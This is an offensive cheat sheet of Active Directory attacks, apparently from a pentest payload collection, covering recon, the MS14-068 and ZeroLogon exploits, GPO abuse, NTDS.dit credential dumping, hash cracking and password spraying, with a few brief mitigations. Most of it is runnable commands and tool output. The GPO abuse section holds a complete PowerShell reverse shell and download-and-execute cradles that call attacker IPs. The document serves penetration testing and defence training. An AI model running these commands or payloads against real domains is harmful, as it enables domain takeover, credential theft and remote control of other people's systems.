Active Directory Attacks
Summary
- Active Directory Attacks
- Summary
- Tools
- Active Directory Recon
- Most common paths to AD compromise
- MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
- CVE-2020-1472 ZeroLogon
- Open Shares
- SCF and URL file attack against writeable share
- Passwords in SYSVOL & Group Policy Preferences
- Exploit Group Policy Objects GPO
- Dumping AD Domain Credentials
- Password spraying
- Password in AD User comment
- Reading LAPS Password
- Pass-the-Ticket Golden Tickets
- Pass-the-Ticket Silver Tickets
- Kerberoasting
- KRB_AS_REP Roasting
- Pass-the-Hash
- OverPass-the-Hash (pass the key)
- Capturing and cracking NTLMv2 hashes
- NTLMv2 hashes relaying
- Dangerous Built-in Groups Usage
- Abusing Active Directory ACLs/ACEs
- Trust relationship between domains
- Child Domain to Forest Compromise - SID Hijacking
- Forest to Forest Compromise - Trust Ticket
- Kerberos Unconstrained Delegation
- Kerberos Constrained Delegation
- Kerberos Resource Based Constrained Delegation
- Kerberos Bronze Bit Attack - CVE-2020-17049
- Relay delegation with mitm6
- PrivExchange attack
- PXE Boot image attack
- DSRM Credentials
- Impersonating Office 365 Users on Azure AD Connect
- Linux Active Directory
- References
Tools
-
Impacket or the Windows version
-
# use the latest release, CME is now a binary packaged will all its dependencies root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip # execute cme (smb, winrm, mssql, ...) root@payload$ cme smb -L root@payload$ cme smb -M name_module -o VAR=DATA root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload" root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami' root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz root@payload$ cme mimikatz --server http --server-port 80 -
git clone https://github.com/fox-it/mitm6.git && cd mitm6 pip install . mitm6 -d lab.local ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i # -wh: Server hosting WPAD file (Attacker’s IP) # -t: Target (You cannot relay credentials to the same device that you’re spoofing) # -i: open an interactive shell ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access -
.\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser -
Active Directory Assessment and Privilege Escalation Script
powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 -
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession pingcastle.exe --healthcheck --server domain.local pingcastle.exe --graph --server domain.local pingcastle.exe --scanner scanner_name --server domain.local available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup -
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD> -
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] Rubeus.exe klist [/luid:LOGINID] Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] -
New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD' Install-Lab Show-LabDeploymentSummary
Active Directory Recon
Using BloodHound
Use the correct collector
- AzureHound for Azure Active Directory
- SharpHound for local Active Directory
use AzureHound
# require: Install-Module -name Az -AllowClobber
# require: Install-Module -name AzureADPreview -AllowClobber
Connect-AzureAD
Connect-AzAccount
. .\AzureHound.ps1
Invoke-AzureHound
use BloodHound
# run the collector on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
.\SharpHound.exe (from resources/Ingestor)
.\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
.\SharpHound.exe -c all -d active.htb --LdapUser myuser --LdapPass mypass --domaincontroller 10.10.10.100
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
.\SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass <Password> --JSONFolder <PathToFile>
# or run the collector on the machine using Powershell
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
# or remotely via BloodHound Python
# https://github.com/fox-it/BloodHound.py
pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
Then import the zip/json files into the Neo4J database and query them.
root@payload$ apt install bloodhound
# start BloodHound and the database
root@payload$ neo4j console
root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
You can add some custom queries like Bloodhound-Custom-Queries from @hausec. Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json.
Using PowerView
- Get Current Domain:
Get-NetDomain - Enum Other Domains:
Get-NetDomain -Domain <DomainName> - Get Domain SID:
Get-DomainSID - Get Domain Policy:
Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."kerberos policy"
-
Get Domain Controlers:
Get-NetDomainController Get-NetDomainController -Domain <DomainName> -
Enumerate Domain Users:
Get-NetUser Get-NetUser -SamAccountName <user> Get-NetUser | select cn Get-UserProperty #Check last password change Get-UserProperty -Properties pwdlastset #Get a spesific "string" on a user's attribute Find-UserField -SearchField Description -SearchTerm "wtver" #Enumerate user logged on a machine Get-NetLoggedon -ComputerName <ComputerName> #Enumerate Session Information for a machine Get-NetSession -ComputerName <ComputerName> #Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName -
Enum Domain Computers:
Get-NetComputer -FullData Get-DomainGroup #Enumerate Live machines Get-NetComputer -Ping -
Enum Groups and Group Members:
Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName> #Enumerate the members of a specified group of the domain Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member #Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName -
Enumerate Shares
#Enumerate Domain Shares Find-DomainShare #Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess -
Enum Group Policies:
Get-NetGPO # Shows active Policy on specified machine Get-NetGPO -ComputerName <Name of the PC> Get-NetGPOGroup #Get users that are part of a Machine's local Admin group Find-GPOComputerAdmin -ComputerName <ComputerName> -
Enum OUs:
Get-NetOU -FullData Get-NetGPO -GPOname <The GUID of the GPO> -
Enum ACLs:
# Returns the ACLs associated with the specified account Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose #Search for interesting ACEs Invoke-ACLScanner -ResolveGUIDs #Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\\Path\Of\A\Share" -
Enum Domain Trust:
Get-NetDomainTrust Get-NetDomainTrust -Domain <DomainName> -
Enum Forest Trust:
Get-NetForestDomain Get-NetForestDomain Forest <ForestName> #Domains of Forest Enumeration Get-NetForestDomain Get-NetForestDomain Forest <ForestName> #Map the Trust of the Forest Get-NetForestTrust Get-NetDomainTrust -Forest <ForestName> -
User Hunting:
#Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose #Find local admins on all machines of the domain: Invoke-EnumerateLocalAdmin -Verbose #Find computers were a Domain Admin OR a spesified user has a session Invoke-UserHunter Invoke-UserHunter -GroupName "RDPUsers" Invoke-UserHunter -Stealth #Confirming admin access: Invoke-UserHunter -CheckAccess:heavy_exclamation_mark: Priv Esc to Domain Admin with User Hunting:
I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->
Profit!
Using AD Module
- Get Current Domain:
Get-ADDomain - Enum Other Domains:
Get-ADDomain -Identity <Domain> - Get Domain SID:
Get-DomainSID - Get Domain Controlers:
Get-ADDomainController Get-ADDomainController -Identity <DomainName> - Enumerate Domain Users:
Get-ADUser -Filter * -Identity <user> -Properties * #Get a spesific "string" on a user's attribute Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description - Enum Domain Computers:
Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter * - Enum Domain Trust:
Get-ADTrust -Filter * Get-ADTrust -Identity <DomainName> - Enum Forest Trust:
Get-ADForest Get-ADForest -Identity <ForestName> #Domains of Forest Enumeration (Get-ADForest).Domains - Enum Local AppLocker Effective Policy:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Most common paths to AD compromise
MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.
# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
# loc
wmic useraccount get name,sid
Administrator S-1-5-21-3415849876-833628785-5197346142-500
Guest S-1-5-21-3415849876-833628785-5197346142-501
Administrator S-1-5-21-297520375-2634728305-5197346142-500
Guest S-1-5-21-297520375-2634728305-5197346142-501
krbtgt S-1-5-21-297520375-2634728305-5197346142-502
lambda S-1-5-21-297520375-2634728305-5197346142-1110
# powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Generate a ticket with metasploit or pykek
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
PASSWORD P@ssw0rd yes The Domain User password
RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
RPORT 88 yes The target port
Timeout 10 yes The TCP timeout to establish connection and read data
USER lambda yes The Domain User
USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
[+] Building AS-REQ for msfdc01.metasploitable.local... Done!
[+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
[+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
[+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
[+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
[+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
[+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
[+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
[+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
Then use mimikatz to load the ticket.
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
:warning: If the clock is skewed use clock-skew.nse script from nmap
Linux> $ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
Linux> sudo date -s "14 APR 2015 18:25:16"
Windows> net time /domain /set
Mitigations
- Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
CVE-2020-1472 ZeroLogon
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
Exploit steps from the white paper
- Spoofing the client credential
- Disabling signing and sealing
- Spoofing a call
- Changing a computer's AD password to null
- From password change to domain admin
- :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
# Activate a virtual env to install impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .
# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
# Find the old NT hash of the DC
proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
# Restore password from secretsdump
# secretsdump will automatically dump the plaintext machine password (hex encoded)
# when dumping the local registry secrets on the newest version
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
deactivate
in .NET for Cobalt Strike's execute-assembly
git clone https://github.com/nccgroup/nccfsas
# Check
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
# Resetting the machine account password
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
# Testing from a non Domain-joined machine
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
# Now reset the password back
with Mimikatz : 2.2.0 20200917 Post-Zerologon
privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
# Pass The Hash with the extracted Domain Admin hash
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
# Use IP address instead of FQDN to force NTLM with Windows APIs
# Reset password to Waza1234/Waza1234/Waza1234/
# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
Open Shares
smbmap -H 10.10.10.10 # null session
smbmap -H 10.10.10.10 -R # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
or
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
ls # list files
cd # move inside a folder
get # download files
put # replace a file
or
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
use Sharename # select a Sharename
cd Folder # move inside a folder
ls # list files
Download a folder recursively
smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *
Mount a share
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder
SCF and URL file attack against writeable share
Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0
[Shell]
Command=2
IconFile=\\10.10.XX.XX\Share\test.ico
[Taskbar]
Command=ToggleDesktop
This attack also works with .url files and responder -I eth0 -v.
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\192.168.1.29\%USERNAME%.icon
IconIndex=1
Passwords in SYSVOL & Group Policy Preferences
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
Automate the SYSVOL and passwords research
-
Metasploit modules to enumerate shares and credentials
scanner/smb/smb_enumshares post/windows/gather/enum_shares post/windows/gather/credentials/gpp -
Crackmapexec modules
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
List all GPO for a domain
Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all
Powersploit:
Get-NetGPO
Get-NetGPOGroup
Mitigations
- Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
- Delete existing GPP xml files in SYSVOL containing passwords.
- Don’t put passwords in files that are accessible by all authenticated users.
Exploit Group Policy Objects GPO
Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine.
If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.
:warning: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.
Find vulnerable GPO
Look a GPLink where you have the Write right.
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
Abuse GPO with SharpGPOAbuse
# Build and configure SharpGPOAbuse
$ git clone https://github.com/FSecureLABS/SharpGPOAbuse
$ Install-Package CommandLineParser -Version 1.9.3.15
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll
# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
# Configuring a Computer or User Immediate Task
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force
Abuse GPO with PowerGPOAbuse
PS> . .\PowerGPOAbuse.ps1
# Adding a localadmin
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
# Assign a new right
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
# Adding a New Computer/User script
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'
# Create an immediate task
PS> Add-UserTask/Add-ComputerTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator
Abuse GPO with pyGPOAbuse
$ git clone https://github.com/Hackndo/pyGPOAbuse
# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
Abuse GPO with PowerView
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
Dumping AD Domain Credentials
You will need the following files to extract the ntds :
- NTDS.dit file
- SYSTEM hive (C:\Windows\System32\SYSTEM)
Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit.
systemroot\NTDS\ntds.ditstores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).systemroot\System32\ntds.ditis the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
However you can change the location to a custom one, you will need to query the registry to get the current location.
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
Using ndtsutil
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
or
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
Using Vshadow
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
You can also use the Nishang script, available at : https://github.com/samratashok/nishang
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
Using vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
Using DiskShadow (a Windows signed binary)
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
Using esentutl.exe
Copy/extract a locked file such as the AD Database
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
secretsdump also works remotely
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
-pwd-last-set: Shows pwdLastSet attribute for each NTDS.DIT account.-user-status: Display whether or not the user is disabled.
Alternatives - modules
Metasploit modules
windows/gather/credentials/domain_hashdump
PowerSploit module
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
CrackMapExec module
cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
Using Mimikatz DCSync
Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
# DCSync all users of the domain
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.
Using Mimikatz sekurlsa
Dumps credential data in an Active Directory domain when run on a Domain Controller. :warning: Requires administrator access with debug or Local SYSTEM rights
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
Crack NTLM hashes with hashcat
Useful when you want to have the clear text password or when you need to make stats about weak passwords.
Recommended wordlists:
- rockyou (available in Kali Linux)
- Have I Been Powned (https://hashes.org/download.php?hashlistId=7290&type=hfound)
- Collection #1 (passwords from Data Breaches, might be illegal to possess)
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r ./rules/best64.rule --opencl-device-types 1,2
# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
Password spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
Most of the time the best passwords to spray are :
- P@ssw0rd01, Password123, mimikatz
- Welcome1/Welcome01
- $Companyname1 : $Microsoft1
- SeasonYear : Winter2019*,Spring2020!,Summer2018?
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
Kerberos pre-auth bruteforcing
Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.
Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Spray a pre-generated passwords list
Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
Spray passwords against the RDP service
Using RDPassSpray to target RDP services.
git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
Using hydra and ncrack to target RDP services.
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
Password in AD User comment
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas:
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
